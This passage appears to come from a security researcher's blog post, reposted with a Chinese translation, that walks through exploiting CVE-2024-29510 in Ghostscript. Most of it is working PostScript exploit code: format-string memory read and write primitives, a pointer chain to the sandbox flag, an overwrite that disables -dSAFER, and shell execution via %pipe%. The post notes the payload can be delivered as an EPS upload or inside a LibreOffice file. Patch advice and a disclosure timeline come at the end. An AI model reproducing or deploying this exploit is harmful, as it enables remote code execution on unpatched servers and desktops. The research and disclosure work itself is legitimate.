It just happens to be the case that this buffer is not overwritten, and we can see it from our format string if showpage is called right after a special comment. In order for the comment to be the final token in the interpreter’s buffer, we need to invoke the interpreter recursively. This can be done in various ways, but the simplest way is through Ghostscript’s .runstring operator. Think of it like Javascript’s eval.
恰好这个缓冲区没有被覆盖,我们可以从我们的格式字符串中看到它,如果 showpage 在特殊注释之后立即调用。为了使注释成为解释器缓冲区中的最终标记,我们需要以递归方式调用解释器。这可以通过多种方式完成,但最简单的方法是通过 Ghostscript .runstring 的运算符。把它想象成 Javascript eval 的 .

To demonstrate, we take the example from before, but print many more (about 300) 8-byte words from the stack using %lx (trimmed):
为了演示,我们以前面的例子为例,但使用 %lx (修剪)从堆栈中打印更多(大约 300 个)8 字节的单词:

...
/upYMoveCommand (1:%lx\n2:%lx\n3:%lx\n ... 298:%lx\n299:%lx\n300:%lx\n)
...

And we insert the following just before showpage:
我们在前面 showpage 插入以下内容:

(%%XXAAAAAAAA) .runstring

Now, the resulting output looks as follows (trimmed):
现在,生成的输出如下所示(已修剪):

...
222:7ffe2ee85dcc
223:7ffe2ee85dcc
224:7ffe2ee85dcc
225:5858252500000000
226:4141414141414141
227:0
228:0
229:0
230:7ffe2ee85e30
231:62bea58b57b0
...

It seems that sstate.s_da.buf roughly spans stack indices 225 – 229. The structure’s offsets are such that the start of our comment ("%%XX") is stored in the word at 225, whereas the word at 226 is the first one we have full control over ("AAAAAAAA"). Hence, we can generalize our code a bit to build a simple primitive that puts an 8-byte string as a single word on the stack (the real stack, not the Postscript stack!):
似乎 sstate.s_da.buf 大致跨越了堆栈指数 225 – 229。结构的偏移量是这样的,我们的注释 ( "%%XX" ) 的开头存储在单词 225 中,而单词 226 是我们完全控制的第一个单词 "AAAAAAAA" ( )。因此,我们可以稍微概括一下我们的代码,以构建一个简单的原语,将一个 8 字节的字符串作为单个单词放在堆栈上(真正的堆栈,而不是 Postscript 堆栈!

/StackString (AAAAAAAA) def % this can be determined at runtime
(%%XX) StackString cat .runstring

Putting things together  把东西放在一起

Now we can put an arbitrary 8-byte value at a known location on the stack, meaning that we can finally properly use %s and %n to their full potential, giving us memory read and write primitives!
现在我们可以在堆栈的已知位置放置一个任意的 8 字节值,这意味着我们终于可以正确使用 %s 并 %n 充分发挥它们的潜力,为我们提供内存读取和写入基元!

Let’s abstract away the uniprint format-string invocations and file read into a Postscript procedure called do_uniprint:
让我们将 uniprint 格式字符串调用和文件读取抽象到一个名为 Postscript 的过程中 do_uniprint :

% <StackString> <FmtString> do_uniprint <LeakedData>
/do_uniprint {
	/FmtString exch def   % the format string payload to use
	/StackString exch def % which 8-byte string to put on the stack beforehand

	% Select uniprint device with our payload
	<<
		/OutputFile PathTempFile
		/OutputDevice /uniprint
		/upColorModel /DeviceCMYKgenerate
		/upRendering /FSCMYK32
		/upOutputFormat /Pcl
		/upOutputWidth 99999 % This gives a bigger buffer for our format string
		/upWriteComponentCommands {(x)(x)(x)(x)} % This is required, just put bogus strings
		/upYMoveCommand FmtString
	>>
	setpagedevice
	
	% Manipulate the interpreter to put controlled data on the stack
	(%%XX) StackString cat .runstring

	% Produce a page with some content to trigger format string logic
	newpath 1 1 moveto 1 2 lineto 1 setlinewidth stroke
	showpage

	% Read back the written data
	/InFile PathTempFile (r) file def
	/LeakedData InFile 4096 string readstring pop def
	InFile closefile

	LeakedData % return
} bind def

This then allows us to write the higher level procedures write_toread_ptr_atread_dereferenced_bytes_atread_dereferenced_ptr_at:
这允许我们编写更高级别的过程 write_to , read_ptr_at ,, read_dereferenced_bytes_at read_dereferenced_ptr_at :

% <StackIdx> <AddrHex> write_to
/write_to {
	/AddrHex exch str_ptr_to_le_bytes def % address to write to
	/StackIdx exch def % stack idx to use

	/FmtString StackIdx 1 sub (%x) times (_%ln) cat def

	AddrHex FmtString do_uniprint

	pop % we don't care about formatted data
} bind def

% <StackIdx> read_ptr_at <PtrHexStr>
/read_ptr_at {
	/StackIdx exch def % stack idx to use

	/FmtString StackIdx 1 sub (%x) times (__%lx__) cat def

	() FmtString do_uniprint

	(__) search pop pop pop (__) search pop exch pop exch pop
} bind def

% num_bytes <= 9
% <StackIdx> <PtrHex> <NumBytes> read_dereferenced_bytes_at <ResultAsMultipliedInt>
/read_dereferenced_bytes_at {
	/NumBytes exch def
	/PtrHex exch def
	/PtrOct PtrHex str_ptr_to_le_bytes def % address to read from
	/StackIdx exch def % stack idx to use

	/FmtString StackIdx 1 sub (%x) times (__%.) NumBytes 1 string cvs cat (s__) cat cat def

	PtrOct FmtString do_uniprint

	/Data exch (__) search pop pop pop (__) search pop exch pop exch pop def

	% Check if we were able to read all bytes
	Data length NumBytes eq {
		% Yes we did! So return the integer conversion of the bytes
		0 % accumulator
		NumBytes 1 sub -1 0 {
			exch % <i> <accum>
			256 mul exch % <accum*256> <i>
			Data exch get % <accum*256> <Data[i]>
			add % <accum*256 + Data[i]>
		} for
	} {
		% We did not read all bytes, add a null byte and recurse on addr+1
		StackIdx 1 PtrHex ptr_add_offset NumBytes 1 sub read_dereferenced_bytes_at
		256 mul
	} ifelse
} bind def

% <StackIdx> <AddrHex> read_dereferenced_ptr_at <PtrHexStr>
/read_dereferenced_ptr_at {
	% Read 6 bytes
	6 read_dereferenced_bytes_at

	% Convert to hex string and return
	16 12 string cvrs
} bind def

Exploitation  开发

Our final exploitation goal is to escape the -dSAFER sandbox, as this would give us full RCE on the machine running Ghostscript. When -dSAFER is enabled, Ghostscript permanently sets a boolean field (path_control_active) in a global context structure to 1. From within Postscript it is normally not possible to change this value back after it’s been set to 1.
我们的最终漏洞利用目标是逃离 -dSAFER 沙盒,因为这将在运行 Ghostscript 的机器上提供完整的 RCE。启用后 -dSAFER ,Ghostscript 会将全局上下文结构中的布尔字段 ( path_control_active ) 永久设置为 1。在 Postscript 中,通常无法将此值设置为 1 后将其更改回。

However, if we can literally poke into memory at the right location and set this field to 0, all -dSAFER limitations would be gone instantly, for as long as the Ghostscript process runs.
但是,如果我们可以在正确的位置插入内存并将此字段设置为 0,那么只要 Ghostscript 进程运行,所有 -dSAFER 限制都会立即消失。

So, we’d need to find the address of path_control_active (due to ASLR, this changes every time). This field is part of the gs_lib_ctx_core_t structure, a global instance of which is allocated on the heap, but we don’t know where exactly because it’s not referred to anywhere on the stack.
因此,我们需要找到 (由于 ASLR,每次都会更改) path_control_active 的地址。此字段是 gs_lib_ctx_core_t 结构的一部分,其全局实例在堆上分配,但我们不知道确切的位置,因为它在堆栈上的任何地方都没有引用。

Instead, we can use the fact that a pointer to the gs_lib_ctx_core_t structure is part of gs_lib_ctx_t, which is part of gs_memory_t. And as it happens, the function containing the gs_snprintf invocation, upd_wrtrtl(upd_p upd, gp_file *out), receives a gp_file * parameter out which has a pointer to gs_memory_t. In other words, we just need to grab out from its consistent stack location and then dereference it a bunch of times to get &out->memory->gs_lib_ctx->core->path_control_active.
相反,我们可以使用指向 gs_lib_ctx_core_t 结构的指针是 的一部分 gs_lib_ctx_t 这一事实,而 是 的一部分 gs_memory_t 。碰巧的是,包含 gs_snprintf 调用 upd_wrtrtl(upd_p upd, gp_file *out) 的函数 接收到一个 gp_file * 参数 out ,该参数具有指向 gs_memory_t 的指针。换句话说,我们只需要从其一致的堆栈位置中获取 out ,然后多次取消引用它即可获得 &out->memory->gs_lib_ctx->core->path_control_active 。

CVE-2024-29510 – Exploiting Ghostscript using format strings

Because none of these fields are at offset 0 in their parent structs, we need to be able to add an offset to a leaked (hex) pointer value, before dereferencing it again. Luckily Postscript is quite flexible in terms of dealing with base-16 numbers, so the following does the trick:
由于这些字段在其父结构中均不处于偏移量 0,因此我们需要能够在再次取消引用之前为泄漏的(十六进制)指针值添加偏移量。幸运的是,Postscript 在处理以 16 为基数的数字方面非常灵活,因此以下方法可以解决问题:

% <Offset> <PtrHexStr> ptr_add_offset <PtrHexStr>
/ptr_add_offset {
	/PtrHexStr exch def % hex string pointer
	/Offset exch def % integer to add

	/PtrNum (16#) PtrHexStr cat cvi def

	% base 16, string length 12
	PtrNum Offset add 16 12 string cvrs
} bind def

The result is a hex string, but to get this value onto the stack (remember, using the %%BB........ comment) it needs to be a string of raw bytes, and reversed (on little-endian systems at least). Hence, we write another helper function:
结果是一个十六进制字符串,但要将此值获取到堆栈中(请记住,使用 %%BB........ 注释),它需要是原始字节的字符串,并且是反转的(至少在 little-endian 系统上)。因此,我们编写了另一个辅助函数:

% Convert hex string "4142DEADBEEF" to padded little-endian byte string "\xEF\xBE\xAD\xDE\x42\x41\x00\x00"
% <HexStr> str_ptr_to_le_bytes <ByteStringLE>
/str_ptr_to_le_bytes {
	% Convert hex string argument to Postscript string
	% using <DEADBEEF> notation
	/ArgBytes exch (<) exch (>) cat cat token pop exch pop def

	% Prepare resulting string (`string` fills with zeros)
	/Res 8 string def

	% For every byte in the input
	0 1 ArgBytes length 1 sub {
		/i exch def

		% put byte at index (len(ArgBytes) - 1 - i)
		Res ArgBytes length 1 sub i sub ArgBytes i get put
	} for

	Res % return
} bind def

Don’t worry if this is confusing, it’s just piping to automate the exploit. With all these primitives in place, we can obtain the address of Ghostscript’s path_control_active using a chain of read_dereferenced_ptr_at and ptr_add_offset:
如果这令人困惑,请不要担心,它只是自动化漏洞利用的管道。有了所有这些原语,我们 path_control_active 就可以使用 read_dereferenced_ptr_at 和 ptr_add_offset 的链来获取 Ghostscript 的地址:

% Use primitives to obtain: &out->memory->gs_lib_ctx->core->path_control_active

/IdxOutPtr 5 def  % Position of `gp_file *out` on the stack
/PtrOut IdxOutPtr read_ptr_at def

% `memory` is at offset 144 in `out`
/PtrOutOffset 144 PtrOut ptr_add_offset def
/PtrMem IdxStackControllable PtrOutOffset read_dereferenced_ptr_at def

% `gs_lib_ctx` is at offset 208 in `memory`
/PtrMemOffset 208 PtrMem ptr_add_offset def
/PtrGsLibCtx IdxStackControllable PtrMemOffset read_dereferenced_ptr_at def

% `core` is at offset 8 in `gs_lib_ctx`
/PtrGsLibCtxOffset 8 PtrGsLibCtx ptr_add_offset def
/PtrCore IdxStackControllable PtrGsLibCtxOffset read_dereferenced_ptr_at def

% `path_control_active` is at offset 156 in `core`
/PtrPathControlActive 156 PtrCore ptr_add_offset def

Now we have the address of path_control_active. The only remaining step is to overwrite it with 0. Using variants of %n it is not possible to write such a low value directly, but we can easily overcome that by instead writing to &path_control_active - 3 instead, which on little-endian platforms will overwrite the least-significant byte of the actual field with the most-significant byte of whichever (small) integer we’re writing, hence setting it to zero. We do partially corrupt another value in the struct but it does not seem important. Immediately afterwards the sandbox will be disabled, allowing for the execution of shell commands through %pipe%:
现在我们有了 的 path_control_active 地址。剩下的唯一步骤是用 0 覆盖它。使用 %n it 的变体不可能直接写入如此低的值,但我们可以通过改写 to &path_control_active - 3 来轻松克服这一点,在 little-endian 平台上,它会用我们正在写入的任何(小)整数的最高有效字节覆盖实际字段的最低有效字节,因此将其设置为零。我们确实部分破坏了结构中的另一个值,但这似乎并不重要。紧接着沙盒将被禁用,允许通过以下方式 %pipe% 执行 shell 命令:

% Subtract a bit from the address to make sure we write a null over the field
/PtrTarget -3 PtrPathControlActive ptr_add_offset def

% And overwrite it!
IdxStackControllable PtrTarget write_to

% And now path_control_active == 0, so we can use %pipe% as if -dSAFER was never set :)

(%pipe%gnome-calculator) (r) file

Download the full exploit for Linux (x86) here. Of course you can change the command at the end (gnome-calculator) to your liking.
在此处下载适用于 Linux (x86) 的完整漏洞。当然,您可以根据自己的喜好更改末尾的命令( gnome-calculator )。

The exploit code is also a valid EPS file, hence it can be uploaded to image conversion services that accept EPS and invoke Ghostscript. Alternatively we can embed it in a LibreOffice document file, triggering the command execution when the file is opened, either on a server via the headless libreoffice-convert, or on a desktop:
漏洞利用代码也是一个有效的 EPS 文件,因此可以将其上传到接受 EPS 并调用 Ghostscript 的图像转换服务。或者,我们可以将其嵌入到 LibreOffice 文档文件中,在打开文件时触发命令执行,无论是在服务器上通过 无头 libreoffice-convert ,还是在桌面上:

Mitigation  缓解

At Codean Labs we realize it is difficult to keep track of dependencies like this and their associated risks. It is our pleasure to take this burden from you. We perform application security assessments in an efficient, thorough and human manner, allowing you to focus on development. Click here to learn more.
在Codean Labs,我们意识到很难跟踪这样的依赖关系及其相关风险。我们很高兴能从您那里接过这个重担。我们以高效、彻底和人性化的方式执行应用程序安全评估,让您专注于开发。点击这里了解更多。

The best mitigation against this vulnerability is to update your installation of Ghostscript to v10.03.1. If your distribution does not provide the latest Ghostscript version, it might still have released a patch version containing a fix for this vulnerability (e.g., DebianUbuntuFedora).
针对此漏洞的最佳缓解措施是将 Ghostscript 安装更新到 v10.03.1。如果您的发行版未提供最新的 Ghostscript 版本,它可能仍发布了包含此漏洞修复程序的补丁版本(例如,Debian、Ubuntu、Fedora)。

If you’re unsure if you’re affected, we provide a testkit: a small Postscript file which will tell you if your version of Ghostscript is affected. Download it here, and run it like this:
如果您不确定自己是否受到影响,我们提供了一个测试套件:一个小的 Postscript 文件,它会告诉您您的 Ghostscript 版本是否受到影响。在此处下载它,并像这样运行它:

ghostscript -q -dNODISPLAY -dBATCH CVE-2024-29510_testkit.ps

Timeline  时间线

  • 2024-03-14: reported to the Artifex Ghostscript issue tracker
    2024-03-14:向 Artifex Ghostscript 问题跟踪器报告
  • 2024-03-24: CVE-2024-29510 assigned by Mitre
    2024-03-24:Mitre 分配的 CVE-2024-29510
  • 2024-03-28: issue acknowledged by the developers
    2024-03-28: 开发者承认的问题
  • 2024-05-02: Ghostscript 10.03.1 released which mitigates the issue
    2024-05-02:Ghostscript 10.03.1 发布,缓解了该问题
  • 2024-07-02: publication of this blogpost
    2024-07-02:这篇博文的发布

原文始发于codeanlabs:CVE-2024-29510 – Exploiting Ghostscript using format strings

版权声明:admin 发表于 2024年7月3日 上午8:54。
转载请注明:CVE-2024-29510 – Exploiting Ghostscript using format strings | CTF导航

相关文章